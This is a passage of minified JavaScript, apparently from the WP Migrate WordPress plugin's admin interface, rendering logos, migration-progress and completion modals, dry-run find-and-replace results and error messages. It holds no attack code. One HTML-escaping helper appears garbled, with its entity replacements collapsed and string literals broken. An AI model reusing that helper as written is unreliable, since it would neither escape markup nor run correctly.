1.225-3.868c.102-.308.205-.72.286-1.07.082.37.184.762.286 1.07l1.227 3.868h-3.025Z",fill:"#53BA7D"}),r.createElement("g",{clipPath:"url(#clip1_60_1330)",fill:"#53BB7D"},r.createElement("path",{d:"M17.004 7.22V1.27c0-.41-.264-.778-.63-.942-.365-.163-.812-.06-1.096.225L2.113 13.806C.71 15.217.04 16.587.02 18.019c0 1.432.65 2.781 2.032 4.172l13.226 13.314a.95.95 0 0 0 .71.307c.122 0 .265-.02.387-.123a1.02 1.02 0 0 0 .63-.94v-6.013c0-.266-.123-.532-.305-.716L6.725 17.978 16.7 7.936a.963.963 0 0 0 .304-.715Zm-2.031 21.966v3.129l-9.63-9.694c-.04-.062-.081-.123-.142-.184-.305-.307-1.22-1.228.142-2.946l9.63 9.695Zm0-22.354L4.429 17.446c-.813.818-1.361 1.677-1.646 2.516-.508-.675-.751-1.309-.751-1.922.02-.86.508-1.78 1.503-2.782L14.973 3.744v3.088Z"}),r.createElement("path",{d:"M9.548 17.998v.082c0 .43.346.777.772.777h15.095a.774.774 0 0 0 .772-.777V18a.774.774 0 0 0-.772-.778H10.32a.774.774 0 0 0-.772.777ZM12.454 15.033v.082c0 .43.345.777.772.777h9.264a.774.774 0 0 0 .772-.777v-.082a.774.774 0 0 0-.772-.777h-9.264a.774.774 0 0 0-.772.777ZM19.625 12.906a.774.774 0 0 0 .772-.777v-.082a.774.774 0 0 0-.772-.777h-3.677a.774.774 0 0 0-.772.777v.082c0 .43.345.777.772.777h3.677ZM15.948 24.87h3.677a.774.774 0 0 0 .772-.777v-.082a.774.774 0 0 0-.772-.777h-3.677a.774.774 0 0 0-.772.777v.082c0 .43.345.777.772.777ZM13.226 21.864h9.264a.774.774 0 0 0 .772-.777v-.082a.774.774 0 0 0-.772-.777h-9.264a.774.774 0 0 0-.772.777v.082c0 .43.345.777.772.777Z"}),r.createElement("path",{d:"M33.826 13.888 20.6.574a.993.993 0 0 0-1.097-.225 1.02 1.02 0 0 0-.63.94v6.034c0 .266.122.532.305.716l9.975 10.041-9.975 10.042a.963.963 0 0 0-.305.716v5.951c0 .41.244.777.63.941a.876.876 0 0 0 .386.082c.264 0 .508-.102.711-.286l13.165-13.253c1.401-1.411 2.072-2.782 2.092-4.213 0-1.432-.65-2.781-2.031-4.172ZM20.905 6.873v-3.13l9.63 9.695c.04.061.08.122.142.184.304.307 1.219 1.227-.142 2.945l-9.63-9.694ZM32.322 20.8 20.884 32.315v-3.068l10.544-10.635c.813-.818 1.361-1.677 1.646-2.515.508.674.752 1.308.752 1.922-.02.859-.508 1.78-1.504 2.781Z"})))),Ze||(Ze=r.createElement("defs",null,r.createElement("clipPath",{id:"clip0_60_1330"},r.createElement("path",{fill:"#fff",d:"M0 0h94v36H0z"})),r.createElement("clipPath",{id:"clip1_60_1330"},r.createElement("path",{fill:"#fff",transform:"translate(.02 .206)",d:"M0 0h35.959v35.79H0z"})))));a.p;a(66310);const Je=e=>{var t="modal"===e.location?"local-callout-export-modal":"local-callout-migrate-tab";return r.createElement("div",{className:"local-callout migrate-notice"},r.createElement(Ye,{className:"local-logo"}),r.createElement("p",{className:"callout-content"},r.createElement("span",{className:"question"},(0,v.__)("Need to work on this site in a local development environment?","wp-migrate-db"))," ",r.createElement("span",{className:"answer"},(0,v.__)("Drag and drop an exported ZIP archive into Local. It's that easy!","wp-migrate-db"))),r.createElement(We,{link:"https://deliciousbrains.com/wp-migrate-db-pro/doc/importing-wordpress-local-development-environment/",content:(0,v.__)("Learn More","wp-migrate-db"),utmContent:t,utmCampaign:"wp-migrate-documentation",screenReaderText:(0,v.__)("about importing into Local","wp-migrate-db")}))};var Ke=["title","intent","progress_message","closeModal","fileTransferStats","migration_id","highPerformanceTransfersStatus","stages_complete"];const Xe=(0,i.Ng)((e=>{var t=(0,Q.w1)("title",e),a=(0,Q.ud)("intent",e),n=(0,Q.ud)("migration_id",e),r=(0,Q.ud)(["highPerformanceTransfersStatus","fileTransferStats","stages_complete"],e),i=(0,y.A)(r,3),l=i[0],s=i[1],c=i[2];return{title:t,progress_message:(0,Q.w1)("progress_message",e),intent:a,fileTransferStats:s,migration_id:n,highPerformanceTransfersStatus:l,stages_complete:c}}),{})((e=>{var t=e.title,a=e.intent,n=e.progress_message,i=e.closeModal,l=e.fileTransferStats,s=e.migration_id,c=(e.highPerformanceTransfersStatus,e.stages_complete),d=((0,A.A)(e,Ke),{loop:!1,autoplay:!0,animationData:Le,rendererSettings:{preserveAspectRatio:"xMidYMid slice"}}),m=(0,o.W6)(),p=e=>{27===e.keyCode&&i()};(0,r.useEffect)((()=>(window.addEventListener("keydown",p),()=>{window.removeEventListener("keydown",p)})),[]);var u=c&&c.some((e=>Ve.ou.includes(e)));return r.createElement("div",{className:"migration-complete"},r.createElement("div",{className:"column flex-container"},r.createElement("button",{className:"popup-close align-right btn-no-outline",onClick:()=>i()},r.createElement(Be.h,{"aria-label":(0,v.__)("Close migration modal","wp-migrate-db")})),r.createElement("h1",{className:"migration-title"},(0,h.Ay)(t)),r.createElement(Ie.A,{options:d,"aria-hidden":"true",tabIndex:-1,"aria-label":"",height:156,width:156}),r.createElement("p",{className:"migration-complete-summary"},(0,h.Ay)(n)),c&&u&&r.createElement(Me.A,{datas:l,columns:[{id:"currentStage",displayName:"Stage"},{id:"status",displayName:"Status"},{id:"maxPayloadSize",displayName:"Max Request Size (MB)"},{id:"currRequestSize",displayName:"Actual Request Size (MB)"},{id:"time",displayName:"Time"}],filename:"".concat(s,"-file-stats"),className:"btn btn-sm csv-download-btn",text:(0,v.__)("Download Report","wp-migrate-db")})),r.createElement("div",{className:"flex-container pos-relative"},"savefile"===a&&r.createElement(Je,{location:"modal"}),(0,g.PQ)()&&"savefile"!==a&&r.createElement(r.Fragment,null,r.createElement("button",{className:"btn ".concat(u?"btn-stroke":""," btn-sm migration-complete-close-btn"),onClick:()=>(()=>{if("backup_local"===a&&(0,g.PQ)())return document.body.style.overflow="auto",void m.push("/backups");i()})(),autoFocus:!0},"backup_local"===a?(0,v.__)("View Backups","wp-migrate-db"):(0,v.__)("Close","wp-migrate-db")),r.createElement(je,null))),!(0,g.PQ)()&&r.createElement("div",{className:"rate-mdb"},(0,h.Ay)((0,v.nv)((0,v.__)('Please consider reviewing WP Migrate on WordPress.org.',"wp-migrate-db"),"https://wordpress.org/support/plugin/wp-migrate-db/reviews/?filter=5#new-post"))))}));var $e,et=a(20380),tt=b.Ay.div($e||($e=(0,f.A)(["\n height: 5px;\n width: ","%;\n background: blue;\n transition: 0.4s linear;\n transition-property: width, background-color;\n"])),(e=>e.width));const at=(0,i.Ng)((e=>{var t=e.dry_run.results,a=(0,Q.ud)("preview",e),n=(0,Q.w1)("item_progress",e);return{running_size:(0,Q.w1)("stage_size",e),total_stage_size:(0,Q.w1)("total_stage_size",e),isPreview:a,tables_selected:t,item_progress:n,progress_stage:(0,Q.w1)("progress_stage",e),status:(0,Q.w1)("status",e),showDryRunResults:(0,Q.w1)("showDryRunResults",e)}}),{})((e=>{var t=e.running_size,a=e.total_stage_size,n=e.isPreview,l=e.tables_selected,s=e.item_progress,c=e.showDryRunResults,o=e.progress_stage,d=e.status,m=(0,Re.d3)(a),p=(0,Re.d3)(t),u=(0,i.wA)(),_=Math.round(parseInt(t)/a*100)||0;(0,r.useEffect)((()=>{!c&&"COMPLETE"===o&&"PAUSED"===d&&n&&u((0,et.QU)(!0))}));var f=(0,g.PQ)();return r.createElement(r.Fragment,null,r.createElement("div",{className:"flex-container flex-align-baseline"},r.createElement("p",{className:"migration-percentage"},_,"%"),r.createElement("p",{className:"migration-data-transferred semibold"},"(",p," ",(0,Re.VR)(t)," /"," ",m," ",(0,Re.VR)(a),")"),n&&r.createElement(r.Fragment,null,r.createElement("p",{className:"migration-tables-searched"},Object.keys(s).length," ",f?"of ".concat(l.length," "):"",(0,v.__)("Tables Searched","wp-migrate-db")))),r.createElement("div",{className:"migration-progress-bar bg-grey-light"},r.createElement(tt,{width:_,className:"migration-progress-bar-running bg-primary"})))}));var nt=a(94263),rt=a.n(nt),it=a(62206);const lt=(0,i.Ng)((e=>({current_stage:(0,Q.ud)("current_stage",e),stages_complete:(0,Q.ud)("stages_complete",e)})),{})((e=>{var t=e.current_stage,a=e.stage,n=e.stages_complete,i=e.hasError,l=e.status;return i?r.createElement(Be.h,null):rt()(n,a)?r.createElement(O,null):t===a||"migrate"===t&&"tables"===a||"find_replace"===t&&"tables"===a?r.createElement(it.xj,{className:"PAUSED"===l?"paused":""}):null}));var st={backup:(0,v.__)("Backup","wp-migrate-db"),tables:(0,v.__)("Tables","wp-migrate-db"),upload:(0,v.__)("Upload","wp-migrate-db"),import:(0,v.__)("Import","wp-migrate-db"),find_replace:(0,v.__)("Find & Replace","wp-migrate-db"),theme_files:(0,v.__)("Themes","wp-migrate-db"),plugin_files:(0,v.__)("Plugins","wp-migrate-db"),muplugin_files:(0,v.__)("Must-Use Plugins","wp-migrate-db"),other_files:(0,v.__)("Other Files","wp-migrate-db"),core_files:(0,v.__)("WordPress Core Files","wp-migrate-db"),media_files:(0,v.__)("Media Uploads","wp-migrate-db")},ct=a(50536);const ot=e=>{var t=(0,i.d4)((e=>e.migrations.migration_progress)).status,a=(0,i.d4)((e=>e.migrations.current_migration)),n=a.intent,l=a.current_stage,s="";(0,g.PQ)()&&(s=(0,i.d4)((e=>e.migrations.remote_site)).url);var c={savefile:(0,v.__)("Export","wp-migrate-db"),import:(0,v.__)("Import","wp-migrate-db"),push:(0,v.__)("Push","wp-migrate-db"),pull:(0,v.__)("Pull","wp-migrate-db"),backup_local:(0,v.__)("Backup","wp-migrate-db"),find_replace:(0,v.__)("Find & Replace","wp-migrate-db")},o={migrate:(0,v.__)("Table Migration","wp-migrate-db"),backup:(0,v.__)("Backup","wp-migrate-db"),media_files:(0,v.__)("Media","wp-migrate-db"),find_replace:"import"===n?(0,v.__)("Find & Replace","wp-migrate-db"):(0,v.__)("Migrate Tables","wp-migrate-db"),upload:(0,v.__)("Upload","wp-migrate-db"),import:(0,v.__)("Import","wp-migrate-db"),theme_files:(0,v.__)("Themes","wp-migrate-db"),plugin_files:(0,v.__)("Plugins","wp-migrate-db"),muplugin_files:(0,v.__)("Must-Use Plugins","wp-migrate-db"),other_files:(0,v.__)("Other Files","wp-migrate-db"),core_files:(0,v.__)("WordPress Core Files","wp-migrate-db")},d=e=>"backup_local"===e?"":["push","pull"].includes(e)?''.concat("push"===e?(0,v.__)("to","wp-migrate-db"):(0,v.__)("from","wp-migrate-db")," ").concat((0,g.DQ)(s)):"migration",m=e=>"initiate_migration"===l?r.createElement("div",null,(0,h.Ay)((0,v.nv)((0,v.__)("The %s %s failed during the migration initialization stage.","wp-migrate-db"),c[n],d(n)))):r.createElement("div",null,(0,h.Ay)((0,v.nv)((0,v.__)("The %s %s failed during the %s stage.","wp-migrate-db"),c[n],d(n),o[l])));return r.createElement("div",{className:"mdb-migration-error"},r.createElement("h4",null,r.createElement(m,null)),r.createElement("div",{className:"mdb-migration-error-message"},r.createElement("div",{className:"error-block consolas"},(0,h.Ay)((0,ct.A)(t)))))};var dt=a(2130),mt=(a(38751),e=>{var t=e.table,a=e.onClick,n=e.id,i=(0,g.PQ)(),l=(0,g.Vt)();return r.createElement(r.Fragment,null,r.createElement("button",{onClick:a,className:"table-results-button","data-tip":!0,"data-for":"action-tip-dry-run-".concat(n)},t),(!i||l)&&r.createElement(dt.A,{effect:"solid",place:"left",type:"light",delayUpdate:500,delayHide:250,border:!0,className:"action-tooltip",id:"action-tip-dry-run-".concat(n),getContent:()=>(0,h.Ay)((0,g.Vc)("dryRun",i))}))});const pt=(0,i.Ng)((e=>{var t=e.dry_run.results,a=(0,Q.w1)("status",e),n=(0,Q.w1)("progress_stage",e);return{results:t,migrationStatus:a,isPreview:(0,Q.ud)("preview",e),migrationStage:n}}))((e=>{var t=e.results,a=e.isPreview,n=e.migrationStatus,l=e.migrationStage,s=(0,i.wA)(),c=(0,g.PQ)(),o=(0,g.Vt)(),d=e=>()=>{s((0,et.Pu)(e))};return r.createElement(r.Fragment,null,r.createElement("table",{className:"dry-run-results-table container-shadow table"},r.createElement("thead",null,r.createElement("tr",{className:"flex-container"},r.createElement("th",{className:"table-heading"},(0,v.__)("Table","wp-migrate-db")),r.createElement("th",{className:"table-heading"},(0,v.__)("Matches Found","wp-migrate-db")),r.createElement("th",{className:"table-heading"},(0,v.__)("Time","wp-migrate-db")))),r.createElement("tbody",{tabIndex:0},t.map(((e,t)=>r.createElement("tr",{key:t,className:"flex-container result-item"},r.createElement("td",null,r.createElement("span",{className:"table-name"},e.table)),r.createElement("td",null,!e.executed&&r.createElement("span",{className:"waiting-dash"},"-"),e.executed&&e.count>0&&r.createElement(mt,{table:e.count,onClick:e.count>0&&!o&&c?d(t):null,id:t}),e.executed&&0===e.count&&r.createElement("span",{className:"table-results-none"},e.count)),r.createElement("td",null,!e.executed&&r.createElement("span",{className:"waiting-dash"},"-"),e.executed&&(0,Re.E6)(e.time))))))),a&&("PAUSED"===n||"CANCELLED"===n)&&"COMPLETE"===l&&r.createElement("p",{className:"dry-run-notice"},r.createElement("strong",null,(0,v.__)("Everything look good?","wp-migrate-db"))," ",(0,v.__)("Apply these changes to update WordPress database. If any data has been modified since this preview was started, that data will be overwritten.","wp-migrate-db")))}));var ut=a(61811),_t=a.n(ut),gt=e=>e.replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'"),ft=e=>{var t=e.item,a=t.column,n=t.row,i=t.original,l=t.replace,s=(0,r.useState)(""),c=(0,y.A)(s,2),o=c[0],d=c[1];return(0,r.useEffect)((()=>{var e=new(_t())({timeout:2,editCost:20}),t=e.main(i,l);e.cleanupSemantic(t);var a=(e=>{var t="",a="";for(var n in e){var r=(0,y.A)(e[n],2),i=r[0],l=r[1];if(0!==i)0>i?t+="".concat(gt(l),""):0".concat(gt(l),""));else{var s=l;l.length>=100&&(s="".concat(l.slice(0,25),"...").concat(l.slice(-25))),t+="".concat(gt(s),""),a+="".concat(gt(s),"")}}return[t,a]})(t),n=(0,y.A)(a,1)[0];d(n)}),[t]),r.createElement("li",{className:"dry-run-result"},r.createElement("div",{className:"dry-run-result-meta"},r.createElement("span",null,r.createElement("strong",null,(0,v.__)("Row ID:","wp-migrate-db"))," ",n),r.createElement("span",null,r.createElement("strong",null,(0,v.__)("Column:","wp-migrate-db"))," ",a)),r.createElement("code",{className:"dry-run-result-code"},(0,h.Ay)(o)))},bt=e=>{var t=e.currentPage,a=e.pageCount,n=e.setCurrentPage,i=e.scrollableContentRef;return r.createElement("div",{className:"pagination-controls"},r.createElement("span",null,t," of ",0===a?1:a),r.createElement("button",{className:"btn btn-sm btn-stroke migration-progress-btn ".concat(1===t?"btn-disabled":""),onClick:()=>{i.current.scrollTop=0,n(t-1)},disabled:1===t},(0,v.__)("Prev","wp-migrate-db")),r.createElement("button",{className:"btn btn-sm btn-stroke migration-progress-btn ".concat(t>=a?"btn-disabled":""),onClick:()=>{i.current.scrollTop=0,n(t+1)},disabled:t>=a},(0,v.__)("Next","wp-migrate-db")))};const ht=(0,i.Ng)((e=>({currentPreviewItem:e.dry_run.currentPreviewItem,results:e.dry_run.results})))((e=>{var t=e.currentPreviewItem,a=e.results,n=(0,r.useState)(null),i=(0,y.A)(n,2),l=i[0],s=i[1],c=(0,r.useState)([]),o=(0,y.A)(c,2),d=o[0],m=o[1],p=(0,r.useState)(1),u=(0,y.A)(p,2),_=u[0],g=u[1],f=(0,r.useState)(0),b=(0,y.A)(f,2),h=b[0],v=b[1],E=(0,r.useRef)();return(0,r.useEffect)((()=>{"undefined"!==typeof a[t]&&s(a[t])}),[t,a[t]]),(0,r.useEffect)((()=>{if(l){var e=50*_;m(l.data.slice(e-50,e))}}),[_,l]),(0,r.useEffect)((()=>{l&&v(Math.round(l.count/50))}),[l]),null===l?null:r.createElement(r.Fragment,null,r.createElement("div",{className:"flex-container migration-progress-controls dry-run-controls"},r.createElement("h1",null,l.table),h>1&&r.createElement(bt,{currentPage:_,pageCount:h,setCurrentPage:g,scrollableContentRef:E})),r.createElement("ul",{className:"dry-run-results-single-table container-shadow",tabIndex:"0",ref:E},d.map((e=>r.createElement(ft,{item:e})))))}));var vt=a(22395),Et=["stages","pause_before_finalize","intent","status","hasError","closer","isPreview","currentDryRunPreviewItem","progress_stage"];const wt=(0,i.Ng)((e=>{var t=e.dry_run.currentPreviewItem,a=(0,Q.ud)("current_stage",e),n=(0,Q.w1)("pause_before_finalize",e),r=(0,Q.ud)("preview",e),i=(0,Q.ud)("running",e),l=(0,Q.ud)("intent",e),s=(0,Q.yy)("this_temp_prefix",e),c=(0,Q.w1)("status",e),o=(0,Q.ud)("stages",e),d=(0,Q.w1)("title",e),m=(0,Q.w1)("progress_stage",e),p=(0,Q.ud)("stages_complete",e),u=(0,Q.ud)(["highPerformanceTransfersStatus","forceHighPerformanceTransfers"],e),_=(0,y.A)(u,2),g=_[0],f=_[1];return{current_stage:a,status:c,running:i,intent:l,tmp_prefix:s,total_stage_size:(0,Q.w1)("total_stage_size",e),running_size:(0,Q.w1)("stage_size",e),stages:o,stages_complete:p,pause_before_finalize:n,title:d,progress_message:(0,Q.w1)("progress_message",e),progress_stage:m,showDryRunResults:(0,Q.w1)("showDryRunResults",e),isPreview:r,currentDryRunPreviewItem:t,highPerformanceTransfersStatus:g,forceHighPerformanceTransfers:f}}),{setPauseBeforeFinalize:W.gE,cancelMigration:de.Jo,pauseMigration:de.VV,resumeMigration:de.S7})((e=>{var t=e.stages,a=e.pause_before_finalize,n=e.intent,i=e.status,l=e.hasError,s=e.closer,c=e.isPreview,o=e.currentDryRunPreviewItem,d=e.progress_stage,m=(0,A.A)(e,Et),p="PAUSED"===i,u="COMPLETE"===d,_=c&&u?(0,v.__)("Apply Changes","wp-migrate-db"):p?(0,v.__)("Resume","wp-migrate-db"):(0,v.__)("Pause","wp-migrate-db"),g=m.current_stage;if("COMPLETE"===m.status)return null;if(null!==o)return r.createElement(ht,null);var f=["media_files","theme_files","plugin_files","other_files","muplugin_files"].includes(g);return r.createElement(r.Fragment,null,"initiate_migration"!==g&&r.createElement(at,null),r.createElement(r.Fragment,null,"initiate_migration"!==g&&r.createElement("ul",{className:"flex-container"},t.map(((e,t)=>r.createElement("li",{className:"migration-progress-steps",key:t},r.createElement(lt,{stage:e,hasError:l,status:i}),st[e])))),c&&r.createElement(pt,null),l&&r.createElement(ot,m),f&&r.createElement(vt.A,null),l?r.createElement("div",{className:"text-center error-btn"},r.createElement("button",{onClick:()=>s(!0),className:"btn btn-sm"},(0,v.__)("Close","wp-migrate-db"))):r.createElement("div",{className:"flex-container migration-progress-controls ".concat(c||f?"no-top-margin":"")},r.createElement("button",{onClick:()=>{(async(e,t,a,n,r)=>{"PAUSED"===a?await n():r()})(0,0,i,m.resumeMigration,m.pauseMigration)},className:"btn btn-sm ".concat(c&&u?"":"btn-stroke"," migration-progress-btn")},_)," ",r.createElement("button",{onClick:()=>{(0,m.cancelMigration)()},className:"btn btn-sm btn-stroke migration-progress-btn"},(0,v.__)("Cancel","wp-migrate-db")),!["backup_local","savefile"].includes(n)&&"MIGRATE"===d&&!c&&r.createElement("div",{className:"align-right wpmdb-form"},r.createElement("input",{type:"checkbox",className:"checkbox-default",checked:a,id:"pause-before-finalize",onChange:()=>{m.setPauseBeforeFinalize(!a)}}),r.createElement("label",{htmlFor:"pause-before-finalize"},(0,v.__)("Pause before replacing migrated tables","wp-migrate-db"))))))}));var yt=["title","closer","status","hasError"],At=["closer","title","status","closeHandler","intent","remoteURL","isPreview","currentPreviewItem"],kt=e=>{var t=e.closeModal,a=e.isPreview;return r.createElement("div",{className:"migration-progress-content"},r.createElement("div",null,r.createElement("h1",{className:"migration-title cancelled"},window.wpmdb_strings.migration_cancelled),r.createElement("p",null,a&&(0,v.__)("The operation has been stopped and no changes were made.","wp-migrate-db"),!a&&(0,h.Ay)(window.wpmdb_strings.migration_cancelled_success))),r.createElement("div",null,r.createElement("button",{onClick:t,className:"btn btn-sm"},(0,v.__)("Close","wp-migrate-db"))))},xt=e=>{var t=e.title,a=e.closer,n=e.status,i=e.hasError;(0,A.A)(e,yt);return r.createElement("div",{className:"migration-progress-content migration-error"},r.createElement("div",{className:"flex-container"},r.createElement("h1",{className:"migration-title flex-container error"},r.createElement(Oe,{className:"error-icon"}),(0,h.Ay)(t)),r.createElement("div",{className:"migration-timer align-right"},r.createElement(De,null))),r.createElement(wt,{closer:a,status:n,hasError:i}))},Nt=e=>{var t=e.closer,a=e.title,n=e.status,l=e.closeHandler,c=e.intent,o=e.remoteURL,d=e.isPreview,m=e.currentPreviewItem,p=(0,A.A)(e,At);(0,r.useEffect)((()=>{d&&"CANCEL_COMPLETE"===n&&(t(!0),setTimeout((()=>{u((0,G.b)(pe.Uk,"CANCELLED"))}),300))}),[n]);var u=(0,i.wA)(),_="",f=d&&null!==m,b="object"===typeof n?n.hasOwnProperty("error_type"):void 0;if(b)return r.createElement(xt,(0,s.A)({},p,{hasError:b,closer:()=>t(!0),title:a}));switch(n){case"COMPLETE":_=r.createElement(Xe,{closeModal:e=>{t(!0),l("COMPLETE")}});break;case"CANCEL_COMPLETE":if(!d){_=r.createElement(kt,(0,s.A)({},p,{isPreview:d,closeModal:()=>t(!0)}));break}default:_=r.createElement("div",{className:"migration-progress-content"},null!==m&&r.createElement("button",{className:"dry-run-back-btn link",onClick:()=>{u((0,et.Pu)(null))}},"\u2190 ",(0,v.__)("Back to All Tables","wp-migrate-db")),r.createElement("div",{className:"flex-container ".concat(f?"hidden":"")},r.createElement("h1",{className:["push","pull"].includes(c)?"push-pull":null},((e,t)=>{var a={push:(0,v.nv)((0,v.__)("Pushing to %s","wp-migrate-db"),t),pull:(0,v.nv)((0,v.__)("Pulling from %s","wp-migrate-db"),t),find_replace:(0,v.__)("Find & Replace","wp-migrate-db"),savefile:(0,v.__)("Exporting","wp-migrate-db"),import:(0,v.__)("Importing","wp-migrate-db"),backup_local:(0,v.__)("Backing up","wp-migrate-db")};return(0,h.Ay)(a[e])})(c,(0,g.DQ)(o)),d&&r.createElement("span",{className:"preview-migration-heading"},(0,v.__)("(Preview)","wp-migrate-db"))),r.createElement("div",{className:"migration-timer align-right"},r.createElement(De,null))),r.createElement("h2",{className:"migration-title flex-container ".concat(f?"hidden":"")},(0,h.Ay)(a)),r.createElement(wt,{closer:t,status:n,hasError:b}))}return _},St=e=>{var t=ke,a=Ne,n=(0,r.useState)(!1),i=(0,y.A)(n,2),l=i[0],c=i[1];(0,r.useEffect)((()=>()=>{c(!1)}),[]);return l&&(t=xe,a=Se),r.createElement(he,{animation:t,bgAnimation:a,onClick:t=>{var a=e.status;"COMPLETE"!==a&&"CANCEL_COMPLETE"!==a||t.target===t.currentTarget&&(c(!0),e.closeHandler(a))},complete:"COMPLETE"===e.status,setRunning:de.YU,shouldClose:l},r.createElement(Nt,(0,s.A)({closer:e=>{c(e)},closeHandler:e.closeHandler},e)))};const Tt=(0,i.Ng)((e=>{var t=(0,Q.ud)("preview",e),a=e.dry_run.currentPreviewItem,n=(0,Q.w1)("pause_before_finalize",e),r=(0,Q.ud)("running",e),i=(0,Q.ud)("intent",e),l=(0,Q.yy)("this_temp_prefix",e),s=(0,Q.w1)("status",e),c=(0,Q.ud)("stages",e),o=(0,Q.w1)("title",e),d=(0,g.PQ)()?(0,Q.vg)("url",e):"",m=(0,Q.w1)("progress_stage",e),p=(0,Q.ud)("stages_complete",e);return{status:s,running:r,intent:i,tmp_prefix:l,total_stage_size:(0,Q.w1)("total_stage_size",e),running_size:(0,Q.w1)("stage_size",e),stages:c,stages_complete:p,pause_before_finalize:n,title:o,progress_message:(0,Q.w1)("progress_message",e),progress_stage:m,remoteURL:d,isPreview:t,currentPreviewItem:a}}),{cancelMigration:de.Jo,pauseMigration:de.VV,resumeMigration:de.S7,setPauseBeforeFinalize:W.gE,maybeRefresh:Te.yt,closeHandler:Te.vV})(r.memo(St));var Pt,Ot=a(51572);function Ct(){return Ct=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Ct({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),Pt||(Pt=r.createElement("path",{d:"M6 11V8a6 6 0 1 1 12 0v3h1a1 1 0 0 1 1 1v10a1 1 0 0 1-1 1H5a1 1 0 0 1-1-1V12a1 1 0 0 1 1-1zm3 0h6V8a3 3 0 0 0-6 0zm3.969 6.75a2 2 0 1 0-1.938 0c-.02.08-.031.164-.031.25v1a1 1 0 0 0 2 0v-1c0-.086-.01-.17-.031-.25z",fill:"#b2b2b2",fillRule:"evenodd"})));a.p;var Dt,It={push:(0,v.__)("Push","wp-migrate-db"),pull:(0,v.__)("Pull","wp-migrate-db"),import:(0,v.__)("Import Database","wp-migrate-db"),savefile:(0,v.__)("Export","wp-migrate-db"),backup_local:(0,v.__)("Backup Database","wp-migrate-db"),find_replace:(0,v.__)("Find & Replace","wp-migrate-db")},Mt={push:(0,v.__)("Push","wp-migrate-db"),pull:(0,v.__)("Pull","wp-migrate-db"),savefile:(0,v.__)("Export","wp-migrate-db"),import:(0,v.__)("Import Database","wp-migrate-db"),find_replace:(0,v.__)("Find & Replace","wp-migrate-db"),backup_local:(0,v.__)("Backup Database","wp-migrate-db")};a(71673);function Lt(){return Lt=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Lt({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),r.createElement("g",{style:{stroke:"#326eff",strokeWidth:2,fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}},Dt||(Dt=r.createElement("path",{d:"M19.5 12h-14M12.5 4.5l-7 7.5 7 7.5"}))));a.p;var Bt;function Ut(){return Ut=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Ut({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),r.createElement("g",{style:{stroke:"#326eff",strokeWidth:2,fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}},Bt||(Bt=r.createElement("path",{d:"M20 15v3.333c0 .92-.796 1.667-1.778 1.667H5.778C4.796 20 4 19.254 4 18.333V15M16 11l-4 4-4-4M12 4v9"}))));a.p;var Gt;function jt(){return jt=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",jt({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),r.createElement("g",{style:{stroke:"#236de7",strokeWidth:2,fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}},Gt||(Gt=r.createElement("path",{d:"M5.5 12h14M12.5 4.5l7 7.5-7 7.5"}))));a.p;var Ht;function Wt(){return Wt=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Wt({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),r.createElement("g",{style:{stroke:"#236de7",strokeWidth:2,fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}},Ht||(Ht=r.createElement("path",{d:"M20 15v3.333c0 .92-.796 1.667-1.778 1.667H5.778C4.796 20 4 19.254 4 18.333V15M16 8l-4-4-4 4M12 4v11"}))));a.p;var Zt,Qt;function Yt(){return Yt=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Yt({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),r.createElement("g",{style:{stroke:"#236de7",strokeWidth:2,fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"},transform:"translate(4 4)"},Zt||(Zt=r.createElement("circle",{cx:7,cy:7,r:7})),Qt||(Qt=r.createElement("path",{d:"m16 16-4-4"}))));a.p;var Kt;function Xt(){return Xt=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Xt({height:24,viewBox:"0 0 24 24",width:24,xmlns:"http://www.w3.org/2000/svg"},e),Kt||(Kt=r.createElement("g",{fill:"none",fillRule:"evenodd"},r.createElement("path",{d:"M22 12.5H2M5.45 5.11 2 12v6a2 2 0 0 0 2 2h16a2 2 0 0 0 2-2v-6l-3.45-6.89A2 2 0 0 0 16.76 4H7.24a2 2 0 0 0-1.79 1.11z",stroke:"#236de7",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:2}),r.createElement("g",{fill:"#236de7",transform:"translate(2 4)"},r.createElement("circle",{cx:4,cy:12,r:1}),r.createElement("circle",{cx:7,cy:12,r:1})))));a.p;var ea=r.forwardRef(((e,t)=>{var a=e.panelHandler,n=e.config,i=e.description,l=e.disabled,s=e.connecting,c=e.intent,o=e.toolTipOpen,d=e.setToolTipOpen,m=" action-".concat(n.intent),p=c===n.intent?"".concat(m," active"):m,u=l?"".concat(p," disabled"):p,_=e=>{d(e)};return r.createElement("div",{className:"action-btn-wrap"},r.createElement("button",{className:"action-icon btn-no-outline".concat(u),onClick:()=>{if(l||s)return!1;a(n)},"data-tip":!0,"data-for":"action-tip-".concat(n.intent),onMouseEnter:()=>_(n.intent),onFocus:()=>_(n.intent)},e.children),r.createElement(dt.A,{effect:"solid",place:"bottom",type:"light",delayUpdate:500,delayHide:250,border:!0,className:"action-tooltip",id:"action-tip-".concat(n.intent),getContent:()=>n.intent!==o?null:(0,h.Ay)(i)}))})),ta=e=>(0,i.d4)((e=>e.panels.panelsOpen)).includes(e.panelName)?null:r.createElement("div",{className:"panel-summary"},e.panelTitle);const aa=e=>{var 